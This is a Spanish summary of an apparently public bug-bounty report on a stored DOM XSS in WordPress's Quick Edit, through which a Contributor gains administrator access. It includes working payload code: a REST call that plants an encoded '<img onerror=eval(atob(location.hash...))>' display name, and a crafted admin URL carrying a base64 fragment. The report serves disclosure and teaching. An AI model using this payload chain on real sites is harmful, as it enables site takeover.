Reports
MEDIA[XSS]#3878399

XSS DOM almacenado en WordPress: un Contributor se convierte en administrador vía Quick Edit

En sitios WordPress con más de 10.000 usuarios, un Contributor podía guardar HTML codificado en su nombre público. Al pulsar Quick Edit sobre su post, el administrador ejecutaba ese código y acababa creando una cuenta de administrador controlada por el atacante.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

WordPress permite que una cuenta de rol Contributor guarde en su nombre público (display name) texto con entidades HTML codificadas, por ejemplo &lt;img src=x onerror=...&gt;. Mientras ese valor se muestra como texto, no hay problema. Pero en el listado de entradas del panel existe una rama de código de Quick Edit ("Edición rápida") que, en sitios grandes, lee ese nombre con jQuery .text() —que decodifica las entidades— y lo vuelve a insertar como HTML mediante .prepend(). El resultado es un XSS DOM almacenado: el <img onerror> deja de ser texto y se convierte en un elemento activo que ejecuta JavaScript en el contexto del administrador.

La rama vulnerable solo se activa cuando el sitio tiene más de 10.000 usuarios (o wp_is_large_user_count() devuelve verdadero). En esos casos, el desplegable de autor del Quick Edit se sirve vacío, y el código recurre a tomar el nombre del autor directamente de la celda de la tabla.

  • Componente afectado: WordPress Core 7.0.2, wp-admin/js/inline-edit-post.js.
  • Punto concreto: la rama de respaldo del Quick Edit del listado de entradas para instalaciones con muchos usuarios.
  • Debilidad: Cross-site Scripting (XSS) de tipo DOM (CWE-79).
  • Estado en HackerOne: resuelto, con recompensa (importe no publicado).

Pasos de reproducción

El investigador montó un laboratorio con Docker (WordPress 7.0.2 sobre PHP 8.3 y MySQL 8.4) y forzó el modo "sitio grande" fijando la opción user_count a 10001 vía WP-CLI, en lugar de crear más de diez mil cuentas reales:

wp option update user_count 10001

Condiciones previas: el atacante tiene una cuenta Contributor con un post pendiente, y un usuario con el permiso edit_others_posts (el administrador) acaba pulsando Quick Edit sobre ese post. Justo con 10.000 usuarios la rama no se dispara, porque el desplegable de autor todavía se rellena con normalidad.

1. Guardar el payload en el nombre público del Contributor. Autenticado como Contributor, se actualiza el propio perfil vía la API REST para que el nombre contenga las entidades codificadas:

const nonce = await fetch(`/wp-admin/admin-ajax.php?action=rest-nonce`).then(r => r.text());
const me = await fetch(`/index.php?rest_route=/wp/v2/users/me&context=edit`, {
  headers: { "X-WP-Nonce": nonce }
}).then(r => r.json());
await fetch(`/index.php?rest_route=/wp/v2/users/${me.id}`, {
  method: `POST`,
  headers: { "Content-Type": `application/json`, "X-WP-Nonce": nonce },
  body: JSON.stringify({
    name: `&lt;img src=x onerror=eval(atob(location.hash.slice(1)))&gt;`
  })
});

El onerror no lleva la lógica dentro: ejecuta eval(atob(location.hash.slice(1))), es decir, decodifica y ejecuta el fragmento (#...) en base64 de la URL que visite el administrador. Así el atacante elige el payload final sin volver a tocar su perfil.

2. Crear un post cualquiera y pulsar Submit for Review (enviar a revisión), para tener una entrada pendiente del Contributor.

3. Enviar al administrador una URL preparada del listado de entradas pendientes, con el payload en el fragmento. En la primera prueba el fragmento solo cambia el título de la pestaña del navegador, como marcador inofensivo:

http://127.0.0.1:8097/wp-admin/edit.php?post_status=pending&post_type=post#ZG9jdW1lbnQudGl0bGU9J1F1aWNrLUVkaXQtWFNTLTcyMSc=

4. El administrador abre esa URL estando autenticado y pulsa Quick Edit bajo el post del Contributor, sin ejecutar nada en su consola. El título de la pestaña cambia a Quick-Edit-XSS-721, lo que confirma que el JavaScript se ejecutó. Antes del clic la celda de autor solo contenía texto, sin imagen activa.

5. Toma de control. Para demostrar el impacto real, el investigador usó un segundo fragmento base64 cuyo código, al ejecutarse en la sesión del administrador, obtiene el nonce de la página wp-admin/user-new.php y envía un POST a createuser para dar de alta una cuenta nueva con rol administrator. Tras abrir esa segunda URL y pulsar Quick Edit, en Usuarios aparece una cuenta de administrador controlada por el atacante:

Usuario: h1-quick-edit-admin
Rol: Administrator

Las peticiones de la cadena fueron un GET 200 a user-new.php y un POST con redirección 302, creando la cuenta con rol de administrador.

Impacto

El JavaScript que controla el Contributor se ejecuta en el navegador del administrador en cuanto este abre el enlace preparado y pulsa Quick Edit. Al correr en el mismo origen y con la sesión del administrador, el script puede leer nonces y realizar cualquier acción reservada a administradores. La cadena demostrada crea una cuenta de administrador persistente, es decir, una escalada efectiva de Contributor (rol muy bajo) a control total del sitio. Requiere interacción del administrador (abrir la URL y pulsar Quick Edit), lo que encaja con la severidad media asignada.

Remediación

La causa de fondo es que el nombre, guardado de forma segura con las entidades intactas (&lt;) y mostrado inicialmente como texto, se decodifica al leerlo con .text() y se vuelve a inyectar como HTML mediante .prepend() en la rama de Quick Edit para sitios grandes. El reporte figura como resuelto en el programa de WordPress, con recompensa económica.

Qué aprender de este caso

  • Al revisar JavaScript de interfaces de administración, desconfía de la combinación de leer un valor con .text() (que decodifica entidades HTML) y luego pasarlo a .prepend(), .html() o .append(): el texto "seguro" vuelve a convertirse en HTML activo. Busca ese patrón en inline-edit-post.js y en cualquier edición en línea que reconstruya celdas de tabla.
  • El fallo solo aparecía en una rama alternativa que se activa por volumen (más de 10.000 usuarios). Audita las ramas que cambian de comportamiento según el tamaño del sitio o la carga: suelen probarse menos y pueden saltarse el escape que sí aplica el camino normal.
  • Un campo de perfil controlado por un rol de bajo privilegio (aquí el display name) que luego se renderiza en pantallas de administrador es una vía clásica de XSS almacenado; trátalo como entrada no confiable en el punto de renderizado, no solo al guardarlo.
  • El onerror que solo hace eval(atob(location.hash...)) muestra cómo un payload mínimo almacenado se combina con un fragmento de URL para elegir la carga final; al cazar XSS, vigila los sumideros que ejecutan contenido tomado de location.hash.